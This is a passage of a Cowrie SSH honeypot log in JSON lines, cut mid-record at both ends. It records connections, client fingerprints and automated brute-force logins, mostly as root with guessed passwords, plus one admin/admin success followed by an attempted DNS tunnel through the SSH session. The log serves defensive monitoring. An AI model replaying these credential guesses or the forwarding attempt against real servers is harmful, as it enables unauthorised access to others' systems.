penssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:22.706918Z","src_ip":"102.88.137.213","session":"72e9361328f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2098","message":"login attempt [root/2098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:23.483522Z","src_ip":"102.88.137.213","session":"72e9361328f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:24.673230Z","src_ip":"102.88.137.213","session":"72e9361328f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54184,"dst_ip":"10.17.0.5","dst_port":22,"session":"2410eb1670b4","protocol":"ssh","message":"New connection: 194.59.206.2:54184 (10.17.0.5:22) [session: 2410eb1670b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:25.360564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:25.365834Z","src_ip":"194.59.206.2","session":"2410eb1670b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:25.451892Z","src_ip":"194.59.206.2","session":"2410eb1670b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:25.542576Z","src_ip":"194.59.206.2","session":"2410eb1670b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57622,"dst_ip":"159.203.135.109","dst_port":22,"session":"54fb971b08fc","protocol":"ssh","message":"New connection: 152.42.212.128:57622 (159.203.135.109:22) [session: 54fb971b08fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:29.583160Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:29.588301Z","src_ip":"152.42.212.128","session":"54fb971b08fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:29.595312Z","src_ip":"152.42.212.128","session":"54fb971b08fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":44018,"dst_ip":"10.17.0.5","dst_port":22,"session":"86634367b6f4","protocol":"ssh","message":"New connection: 103.115.56.3:44018 (10.17.0.5:22) [session: 86634367b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:38.663065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:38.667645Z","src_ip":"103.115.56.3","session":"86634367b6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:38.886918Z","src_ip":"103.115.56.3","session":"86634367b6f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clytemnestra","message":"login attempt [root/clytemnestra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:39.532275Z","src_ip":"103.115.56.3","session":"86634367b6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":38572,"dst_ip":"159.203.135.109","dst_port":22,"session":"b077e3fcdc6c","protocol":"ssh","message":"New connection: 103.149.170.125:38572 (159.203.135.109:22) [session: b077e3fcdc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:40.720057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:40.725355Z","src_ip":"103.149.170.125","session":"b077e3fcdc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:40.744932Z","src_ip":"103.115.56.3","session":"86634367b6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:40.994247Z","src_ip":"103.149.170.125","session":"b077e3fcdc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20092009","message":"login attempt [root/20092009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:41.829611Z","src_ip":"103.149.170.125","session":"b077e3fcdc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:13:43.103468Z","src_ip":"103.149.170.125","session":"b077e3fcdc6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50164,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd4518ddbb77","protocol":"ssh","message":"New connection: 62.133.62.83:50164 (10.17.0.5:22) [session: fd4518ddbb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:13.051203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:13.056396Z","src_ip":"62.133.62.83","session":"fd4518ddbb77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:13.140728Z","src_ip":"62.133.62.83","session":"fd4518ddbb77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:13.386460Z","src_ip":"62.133.62.83","session":"fd4518ddbb77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:14.818250Z","src_ip":"62.133.62.83","session":"fd4518ddbb77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":36210,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c2c7722e9e","protocol":"ssh","message":"New connection: 89.108.118.91:36210 (10.17.0.5:22) [session: a9c2c7722e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:37.146436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:37.150668Z","src_ip":"89.108.118.91","session":"a9c2c7722e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:37.291970Z","src_ip":"89.108.118.91","session":"a9c2c7722e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devilmaycry","message":"login attempt [root/devilmaycry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:37.717372Z","src_ip":"89.108.118.91","session":"a9c2c7722e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:38.865243Z","src_ip":"89.108.118.91","session":"a9c2c7722e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23250,"dst_ip":"10.17.0.5","dst_port":22,"session":"7386a4db3862","protocol":"ssh","message":"New connection: 87.251.64.176:23250 (10.17.0.5:22) [session: 7386a4db3862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.489849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.494173Z","src_ip":"87.251.64.176","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":32968,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e09a0c19a9","protocol":"ssh","message":"New connection: 103.115.56.3:32968 (10.17.0.5:22) [session: d6e09a0c19a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.531098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.537378Z","src_ip":"103.115.56.3","session":"d6e09a0c19a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.591002Z","src_ip":"87.251.64.176","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.748764Z","src_ip":"103.115.56.3","session":"d6e09a0c19a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:45.909568Z","src_ip":"87.251.64.176","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:46.008761Z","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:46.130886Z","src_ip":"87.251.64.176","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sa","message":"login attempt [root/sa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:46.185580Z","src_ip":"103.115.56.3","session":"d6e09a0c19a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:46.385663Z","src_ip":"87.251.64.176","session":"7386a4db3862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:47.397912Z","src_ip":"103.115.56.3","session":"d6e09a0c19a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab73697ff013","protocol":"ssh","message":"New connection: 102.88.137.213:49406 (10.17.0.5:22) [session: ab73697ff013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:53.471489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:14:53.476259Z","src_ip":"102.88.137.213","session":"ab73697ff013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nis